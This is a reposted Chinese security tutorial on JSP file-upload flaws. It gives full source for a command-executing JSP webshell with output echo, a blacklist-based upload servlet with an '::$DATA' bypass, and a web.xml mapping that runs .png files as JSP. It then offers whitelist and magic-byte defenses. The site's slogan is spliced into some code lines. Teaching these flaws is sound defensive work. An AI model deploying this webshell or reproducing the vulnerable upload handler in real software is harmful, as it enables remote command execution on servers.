欢迎大家来到IT世界,在知识的湖畔探索吧!
1.前期准备(JSP一句话分析)
本文主要讲解文件上传方面的代码分析以及如何防御。
在此之前,在网上无意间看到好多种JSP的一句话。但是直接ctrl+c~v拿过来用发现有缺陷
<%Runtime.getRuntime().exec(request.getParameter("i"));%>
欢迎大家来到IT世界,在知识的湖畔探索吧!
可以发现,执行命令完是无回显的,所以自己打算稍作改进一下。
JSP一句话分析:
本来以为Runtime.getRuntime().exec()执行完成之后,可以直接通过response写入到页面。
欢迎大家来到IT世界,在知识的湖畔探索吧!<%response.getWriter().println( Runtime.getRuntime().exec(request.getParameter("i")));%>
但是发现输出的是一个对象:
JSP一句话改进(实现带回显功能):
于是乎进行改进,通过BufferedReader的readLine()进行读取,最后在通过response写入到页面即可。
完整JSP小马:
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
<%
Process p = Runtime.getRuntime().exec(request.getParameter("i"));
InputStream is = p.getInputStream();
BufferedReader reader = new BufferedReader(new InputStreamReader(is));
response.getWriter().println("-----------");
String line;
while((line = reader.readLine())!=null){
response.getWriter().println(line);
}
%>
带回显功能测试:
2.文件上传分析
这个项目,是很早之前内网的一个项目,拿出来给大家分享,当时上线测试这个项目的时候,发现的问题
。这里将部分代码摘要做简单修改过来拿出来给大家分享。
File.jsp 代码
欢迎大家来到IT世界,在知识的湖畔探索吧!<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>File</title>
</head>
<body>
<form action="/smbms/uploads" enctype="multipart/form-data" method="post">
<input type="file" name="file">
<input type="submit">
</form>
</body>
</html>
Uploads Servlet 代码
Uploads Servlet如下
package com.met32.Files;
import org.apache.commons.fileupload.FileItem;
import org.apache.commons.fileupload.FileItemFactory;
import org.apache.commons.fileupload.disk.DiskFileItemFactory;
import org.apache.commons.fileupload.servlet.ServletFileUpload;
import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.File;
import java.io.IOException;
import java.util.List;
@WebServlet("/uploads")
public class UploadFile extends HttpServlet{
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req, resp);
}
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
req.setCharacterEncoding("utf-8");
if(ServletFileUpload.isMultipartContent(req)){
FileItemFactory factory = new DiskFileItemFactory();
ServletFileUpload upload = new ServletFileUpload(factory);
try {
List<FileItem> list = upload.parseRequest(req);
for(FileItem fileItem:list){
if(!fileItem.isFormField()){
int i = fileItem.getName().lastIndexOf('.');
if(i>0){
String fileType = fileItem.getName().substring(i+1);
System.out.println("上传的类型为:"+fileType);
if(!fileType.equals("jsp")){
System.out.println("上传成功!");
System.out.println("上传的文件名:"+fileItem.getName());
fileItem.write(new File("E:\\code\\java\\smbms\\src\\main\\webapp"+fileItem.getName()));
}else{
System.out.println("非法上传,文件后缀为"+fileType);
}
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
追到这部分,这是做了黑名单判断,绕过的话就很easy了。
if(!fileType.equals("jsp")){
System.out.println("上传成功!");
System.out.println("上传的文件名:"+fileItem.getName());
fileItem.write(new File("E:\\code\\java\\smbms\\src\\main\\webapp"+fileItem.getName()));
}else
{
System.out.println("非法上传,文件后缀为"+fileType);
}
看一下正常情况,被拦截掉:
之后使用::$DATA直接绕过即可。
3.文件上传防御
在上方文件上传,直接凉了。所以在此写了几种防御姿势。
3.1白名单限制
这里直接写的白名单限制,直接将后缀限定”死”即可。
通过 String fileType = fileItem.getName().substring(i+1);获取到后缀,并使用equals进行限制。
@WebServlet("/uploads")
public class UploadFile extends HttpServlet{
@Override
protected void doPost(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
doGet(req, resp);
}
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
req.setCharacterEncoding("utf-8");
if(ServletFileUpload.isMultipartContent(req)){
FileItemFactory factory = new DiskFileItemFactory();
ServletFileUpload upload = new ServletFileUpload(factory);
try {
List<FileItem> list = upload.parseRequest(req);
for(FileItem fileItem:list){
if(!fileItem.isFormField()){
int i = fileItem.getName().lastIndexOf('.');
if(i>0){
String fileType = fileItem.getName().substring(i+1);
System.out.println("上传的类型为:"+fileType);
if(fileType.equals("png")){
System.out.println("上传成功!");
System.out.println("上传的文件名:"+fileItem.getName());
fileItem.write(new File("web根路径"+fileItem.getName()));
}else{
System.out.println("非法上传,文件后缀为"+fileType);
}
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
}
现在测试一下,成功拦截掉非png后缀的:
白名单绕过
到这里,是不是以为白名单就非常安全了?nonono。。
假设管理员粗心大意,修改了xml配置。
这样就会造成了白名单的绕过,而png就会当做jsp脚本来执行
web.xml文件配置如下
<servlet>
<servlet-name>tomcatpooljsp</servlet-name>
<jsp-file>/test.jsp</jsp-file>
</servlet>
<servlet-mapping>
<servlet-name>tomcatpooljsp</servlet-name>
<url-pattern>/test.png</url-pattern>
</servlet-mapping>
直接上传一个png格式的jsp一句话,成功绕过。
3.2其它方式防御
这里是看到网上之前分享的防御姿势,但是吧….感觉安全性还是不如白名单高。
代码如下,通过判断文件头来进行下一步操作。(ps:自己看看就好)
// 获得文件头部字符串
public static String bytesToHexString(byte[] src) {
StringBuilder stringBuilder = new StringBuilder();
if (src == null || src.length <= 0) {
return null;
}
for (int i = 0; i < src.length; i++) {
int v = src[i] & 0xFF;
String hv = Integer.toHexString(v);
if (hv.length() < 2) {
stringBuilder.append(0);
}
stringBuilder.append(hv);
}
return stringBuilder.toString();
}
FILE_TYPE_MAP.put("jpg", "FFD8FF"); //JPEG
FILE_TYPE_MAP.put("png", "89504E47"); //PNG
FILE_TYPE_MAP.put("gif", "47494638"); //GIF
4.结尾
其实总体而言,白名单校验是目前本人感觉最为安全的一种,当然网上有很多种其它防御手段。例如content-type校验,黑名单校验等,但是都存在很大几率绕过的风险!
from https://www.freebuf.com/vuls/304252.html
免责声明:本站所有文章内容,图片,视频等均是来源于用户投稿和互联网及文摘转载整编而成,不代表本站观点,不承担相关法律责任。其著作权各归其原作者或其出版社所有。如发现本站有涉嫌抄袭侵权/违法违规的内容,侵犯到您的权益,请在线联系站长,一经查实,本站将立刻删除。 本文来自网络,若有侵权,请联系删除,如若转载,请注明出处:https://itzsg.com/37677.html